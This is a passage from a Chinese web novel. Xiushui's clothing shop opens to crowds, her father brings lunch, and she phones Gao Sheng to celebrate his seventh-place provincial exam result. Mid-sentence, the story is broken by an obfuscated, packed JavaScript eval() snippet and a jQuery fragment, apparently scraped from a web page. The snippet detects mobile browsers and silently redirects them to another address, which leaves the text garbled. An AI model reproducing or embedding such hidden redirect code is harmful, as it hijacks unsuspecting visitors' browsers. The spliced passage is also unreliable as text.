这都是秀水的顾客啊,她满怀感情地想。秀水的店子就在门口第一家,巷子里的人越多,不就意味着秀水店里的人越多吗? 等她推车走出市场时,又探头朝秀水店里望了望。就见小沈和伍爱娜忙忙碌碌的,倒是没看到秀水,估计正在里面收银,被人群挡住了。临走前她又看了一眼店面招牌,发自内心地觉得高级。要是她的话,估计都不敢进去逛。 刘瑞英一路骑着车回去,情不自禁地哼起了歌儿。到家后喻庆山和刘兰英都忙围过来,“怎么样怎么样?” “好!好多人在里面,我都没进去。”刘瑞英喜滋滋地说着,又道:“玉贞的店子生意也好!人太多,包子都卖完了。庆山,炒两个菜我给他们送过去!孩子们都还没吃饭呢。” 喻庆山和刘兰英也都双双放了心,喻庆山笑道:“你歇着,我到后头做饭去。” 饭是早就做好了,喻庆山快手快脚炒了四个菜,土豆肉丝、豆腐肉末、醋溜白菜和酸辣藕丁。等菜炒好了,他给家里人留了一部分,把其他的全都用饭盒装好,小心搁到保温箱里。然后他骑上自己的摩托三轮,意气风发说:“我给孩子们送饭去!” 等他来到服装市场附近,人似乎一点都没少,还跟上午一样熙熙攘攘的。他把车找位置停好,抱着保温箱,去了秀水的店里。从落地玻璃窗外就看到里面满满的人。 喻庆山抱着箱子进了门,秀水抬头看见,忙招呼:“爸,你怎么来啦?” “饿了没有?给你们送饭来了。”喻庆山说。 伍爱娜也欣喜道:“太好了姨爹,正好饿了。” 喻庆山把箱子放进后面一间小小的休息室里,又把给玉贞的饭拿出来,说:“早点吃。别等会儿饭菜凉了。” 女孩们答应了一声,却是一直等到快两点,店里的顾客少了点,几人才轮流去休息室吃饭。四个菜和满满一大钵饭,被她们吃得精光。虽然忙得连喝水都没时间,沈从玉和刘玉洁却是又兴奋又满足。 好容易找到一份离家又近又轻省的工作,她俩本来担心干俩月就黄了。如今服装店生意这么好,基本可以断定,这工作稳了。 开业这天,沈从玉和刘玉洁八点钟才下班,秀水和伍爱娜则是盘完陈货,九点多才关了店铺。送伍爱娜回家后,秀水突然想起来,高晟似乎这段时间在江市参加专业统考,也不知道考得怎么样,专业成绩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990271|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了没有。 想到这里,秀水忙朝长途车站拐去,找到附近一家公用电话亭,拨打了高天海的大哥大号码。电话响了半天才有人接起来,一片嘈杂声里,传来了彭玉梅中气十足的声音,“喂,是哪位啊?” “我,秀水。梅梅姐,高晟考完试了没有?” 听到秀水的声音,彭玉梅迫不及待道:“正想跟你说这事!今天刚考完,成绩出来了,你猜多少名?第七!全省第七名哈哈哈哈……做梦都不敢想,他能考得这么好……” “真的?”秀水也惊喜万分,“恭喜恭喜!梅姐,看样子你家马上要出一位大学生啦……” 一片喧哗的包厢里,彭玉梅拿着大哥大,笑得合不拢嘴,“还不是你这个师父教得好!哎——这人跟人哪,就是个缘份!我们家小晟那个犟脾气,跟驴一样,牵着不走打着倒退。没想到他就听你跟张教练的话,你说巧不巧……” 一语未了,大哥大被高晟拿走了。高晟的表情不像他妈那么兴奋,却露出几分犹豫来,“师……呃……师父,你怎么这么晚打电话来?” “高、小、晟!”话筒里秀水的声音也很大,显然很激动,就听她说:“你怎么这么厉害?你怎么这么牛?第七名哎!考大学稳了吧?快说是不是……” “没有没有,”高晟的嘴角忍不住往上翘,但还是说:“还得考文化课呢。” “你才训练了一年,专业就考这么好,文化课肯定没问题!”秀水开心道:“我给你买了礼物,有空了过来拿哈。” “真的?买了什么礼物啊?”高晟拿着电话,开门走到了包厢外面,轻声道:“你就不怕我考得很差吗?” “哈哈哈哈怎么会?”电话那边的笑声一如既往地豪爽,“就算考差了,也要奖励你这么努力啊高小晟……” 昏暗的走廊里,高晟背贴墙站着,垂眼看着地,声音也变得很温柔,说:“等我回去就去找你。我也有礼物送给你……” 手里的大哥大突然被人抢走,就见他爸不知什么时候出来了,正震耳欲聋地朝着电话喊:“师父!师父啊,你徒弟出息了师父……” 高晟心中的缱绻柔情一扫而空,看着他爸醉熏熏的样子,又恼火又觉得丢脸。但是高天海根本无暇顾及儿子的脸色,顾自兴奋地说:“感谢你啊师父!没有你就没有我家小晟的今天!今天我太高兴了!先说好了,回家我请你吃饭啊师父……不不不你一定得来……” “谁是你师父,真烦人!”高晟气愤地拂袖而去。 “好了好了!”彭玉梅也从包厢出来了,劈手夺下电话,和秀水打了声招呼便挂了。然后彭玉梅掐了丈夫一把,小声抱怨,“小声点!跟吵架一样!喝两杯酒就管不住自己……” “我高兴!老子今天高兴,不行吗?”高天海横叽叽地回答,推门进去了,又端着杯朝坐在主位的教练说:“来来来张教练,我敬你!这杯酒你非喝不可,要不是你,哪有我小晟的今天……”